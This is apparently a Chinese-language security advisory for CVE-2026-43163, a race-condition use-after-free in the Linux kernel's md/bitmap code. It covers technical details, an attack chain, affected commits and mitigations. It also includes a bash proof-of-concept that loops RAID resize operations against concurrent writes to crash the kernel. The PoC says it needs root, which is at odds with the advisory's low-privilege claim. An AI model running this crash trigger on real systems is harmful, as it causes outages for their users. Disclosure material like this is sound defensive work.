IPBUF安全漏洞报告
English
CVE-2026-43163 CVSS 4.7 中危

CVE-2026-43163 Linux内核md/bitmap释放后重用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43163
漏洞类型
释放后重用
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRace ConditionUAFDoSmdbitmap

漏洞概述

Linux内核中的md/bitmap模块存在一个释放后重用漏洞。该漏洞源于bitmap_daemon_work()与__bitmap_resize()之间的竞争条件。在调整数组大小时,resize路径会释放bitmap存储,而守护进程可能仍在访问该内存区域,导致通用保护故障(GPF)。本地低权限攻击者可利用此漏洞导致系统崩溃(拒绝服务)。

技术细节

该漏洞位于Linux内核的md(软RAID)驱动中,涉及位图管理机制。漏洞触发点在于`bitmap_daemon_work`函数与`__bitmap_resize`函数之间的并发执行。当系统执行RAID阵列resize操作时,`__bitmap_resize`会调用`md_bitmap_file_unmap`释放`bitmap->storage.filemap`所指向的内存页。然而,`quiesce`函数并未能完全停止md线程,导致`bitmap_daemon_work`可以在未持有`mddev->bitmap_info.mutex`锁的情况下继续遍历已被释放的filemap。这种竞态条件构成了释放后重用(UAF)。攻击者通过本地触发特定的resize操作和IO操作,可使内核访问非法内存地址,触发GPF导致系统崩溃。CVSS 3.1评分为4.7,主要影响可用性。

攻击链分析

STEP 1
1
攻击者获取本地低权限用户访问权限 (AV:L/PR:L)。
STEP 2
2
攻击者触发Linux内核md模块的bitmap resize操作。
STEP 3
3
并发触发bitmap_daemon_work访问bitmap存储。
STEP 4
4
触发UAF导致内核GPF,系统崩溃或拒绝服务 (A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-43163: Trigger race condition in md/bitmap resize # This script attempts to trigger the UAF by resizing an md array concurrently with IO. # Requires root privileges to create md devices. # Setup: Create loop devices for testing dd if=/dev/zero of=/tmp/md0.img bs=1M count=100 dd if=/dev/zero of=/tmp/md1.img bs=1M count=100 losetup /dev/loop0 /tmp/md0.img losetup /dev/loop1 /tmp/md1.img # Create md array mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/loop0 /dev/loop1 # Function to perform resize operations resize_loop() { while true; do mdadm --grow /dev/md0 --size=max mdadm --grow /dev/md0 --size=50M done } # Function to perform IO operations (triggers bitmap write) io_loop() { while true; do dd if=/dev/urandom of=/dev/md0 bs=1M count=1 sync done } # Start background processes to trigger race resize_loop & PID_RESIZE=$! io_loop & PID_IO=$! echo "Triggering race condition (PIDs: $PID_RESIZE, $PID_IO)..." sleep 10 # Cleanup kill $PID_RESIZE $PID_IO mdadm --stop /dev/md0 losetup -d /dev/loop0 /dev/loop1 rm /tmp/md0.img /tmp/md1.img

影响范围

Linux Kernel < Commit 140cc839fbeb1ddb33a8da8811b716d88d3905b7
Linux Kernel < Commit 46ef85f854dfa9d5226b3c1c46493d79556c9589
Linux Kernel < Commit 5f73c8b33df9a605a591eab72d43a969600c1f8c

防御指南

临时缓解措施
建议立即应用内核补丁。由于攻击需要本地访问,限制本地用户权限可降低风险。在未修补前,尽量避免在生产环境中频繁执行md阵列调整大小操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表